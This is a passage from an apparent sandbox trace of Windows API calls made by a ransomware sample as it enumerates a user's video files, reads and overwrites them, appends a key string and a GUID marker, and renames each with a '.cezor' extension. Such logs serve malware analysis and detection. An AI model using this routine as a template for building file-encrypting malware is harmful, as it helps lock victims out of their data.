lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.408] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0062.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.408] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.408] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.408] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.408] CloseHandle (hObject=0x5c4) returned 1 [0062.409] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2b38 [0062.409] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0062.409] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2b38 | out: hHeap=0x670000) returned 1 [0062.409] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\POBuKqk7p3HVpix_cM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\pobukqk7p3hvpix_cm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\POBuKqk7p3HVpix_cM.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\pobukqk7p3hvpix_cm.mp4.cezor")) returned 1 [0062.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.410] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.411] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed57d50, ftCreationTime.dwHighDateTime=0x1d4c6ca, ftLastAccessTime.dwLowDateTime=0x1d2294f0, ftLastAccessTime.dwHighDateTime=0x1d4d0e9, ftLastWriteTime.dwLowDateTime=0x1d2294f0, ftLastWriteTime.dwHighDateTime=0x1d4d0e9, nFileSizeHigh=0x0, nFileSizeLow=0x11211, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rM0K82IAegAWaw6N.swf", cAlternateFileName="RM0K82~1.SWF")) returned 1 [0062.411] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.411] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.411] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.411] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\rM0K82IAegAWaw6N.swf") returned=".swf" [0062.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\rM0K82IAegAWaw6N.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\rm0k82iaegawaw6n.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.411] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=70161) returned 1 [0062.411] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.413] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x111eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.414] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.414] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.414] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.414] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x11211, lpOverlapped=0x0) returned 1 [0062.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.415] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.415] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.416] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.416] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.416] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.416] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.416] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.416] GetLastError () returned 0x0 [0062.416] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.416] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.416] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11210) returned 0x3132418 [0062.416] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.416] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1120c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1120c, lpOverlapped=0x0) returned 1 [0062.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.417] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.417] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.417] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.417] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.417] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.417] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.417] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.417] CloseHandle (hObject=0x5c4) returned 1 [0062.418] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31153b0 [0062.418] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0062.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31153b0 | out: hHeap=0x670000) returned 1 [0062.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\rM0K82IAegAWaw6N.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\rm0k82iaegawaw6n.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\rM0K82IAegAWaw6N.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\rm0k82iaegawaw6n.swf.cezor")) returned 1 [0062.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.419] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.420] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed57d50, ftCreationTime.dwHighDateTime=0x1d4c6ca, ftLastAccessTime.dwLowDateTime=0x1d2294f0, ftLastAccessTime.dwHighDateTime=0x1d4d0e9, ftLastWriteTime.dwLowDateTime=0x1d2294f0, ftLastWriteTime.dwHighDateTime=0x1d4d0e9, nFileSizeHigh=0x0, nFileSizeLow=0x11211, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rM0K82IAegAWaw6N.swf", cAlternateFileName="RM0K82~1.SWF")) returned 0 [0062.420] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febd00 | out: hHeap=0x670000) returned 1 [0062.420] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.420] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\") returned="IAQDAF9mflNWLRgoJL\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\") returned="VehoR9xPCLy8\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.421] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.421] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.421] PathFindFileNameW (pszPath="") returned="" [0062.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a281a00, ftCreationTime.dwHighDateTime=0x1d4c5e8, ftLastAccessTime.dwLowDateTime=0x5eeb9050, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x5eeb9050, ftLastWriteTime.dwHighDateTime=0x1d4d452, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.422] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a281a00, ftCreationTime.dwHighDateTime=0x1d4c5e8, ftLastAccessTime.dwLowDateTime=0x5eeb9050, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x5eeb9050, ftLastWriteTime.dwHighDateTime=0x1d4d452, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.422] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36861fe0, ftCreationTime.dwHighDateTime=0x1d4ce67, ftLastAccessTime.dwLowDateTime=0x731fd130, ftLastAccessTime.dwHighDateTime=0x1d4ce44, ftLastWriteTime.dwLowDateTime=0x731fd130, ftLastWriteTime.dwHighDateTime=0x1d4ce44, nFileSizeHigh=0x0, nFileSizeLow=0x2b36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f NqUp5_D7sMGe.flv", cAlternateFileName="FNQUP5~1.FLV")) returned 1 [0062.422] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\f NqUp5_D7sMGe.flv") returned=".flv" [0062.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\f NqUp5_D7sMGe.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\f nqup5_d7smge.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.422] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=11062) returned 1 [0062.422] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.424] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.424] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.425] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x2b36, lpOverlapped=0x0) returned 1 [0062.425] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.425] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.425] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.425] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.426] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.426] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.426] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.426] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.426] GetLastError () returned 0x0 [0062.426] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.426] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.426] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2b36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.427] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.427] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.427] CloseHandle (hObject=0x5c4) returned 1 [0062.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\f NqUp5_D7sMGe.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\f nqup5_d7smge.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\f NqUp5_D7sMGe.flv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\f nqup5_d7smge.flv.cezor")) returned 1 [0062.429] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d680860, ftCreationTime.dwHighDateTime=0x1d4ced2, ftLastAccessTime.dwLowDateTime=0x81a7ae30, ftLastAccessTime.dwHighDateTime=0x1d4cdbd, ftLastWriteTime.dwLowDateTime=0x81a7ae30, ftLastWriteTime.dwHighDateTime=0x1d4cdbd, nFileSizeHigh=0x0, nFileSizeLow=0x113ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h4Ure_SWB.mp4", cAlternateFileName="H4URE_~1.MP4")) returned 1 [0062.429] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\h4Ure_SWB.mp4") returned=".mp4" [0062.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\h4Ure_SWB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\h4ure_swb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.429] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=70574) returned 1 [0062.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.431] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.431] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.432] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x113ae, lpOverlapped=0x0) returned 1 [0062.433] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.433] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.433] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.433] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.433] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.433] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.433] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.434] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.434] GetLastError () returned 0x0 [0062.434] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.434] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.434] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x113ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.434] 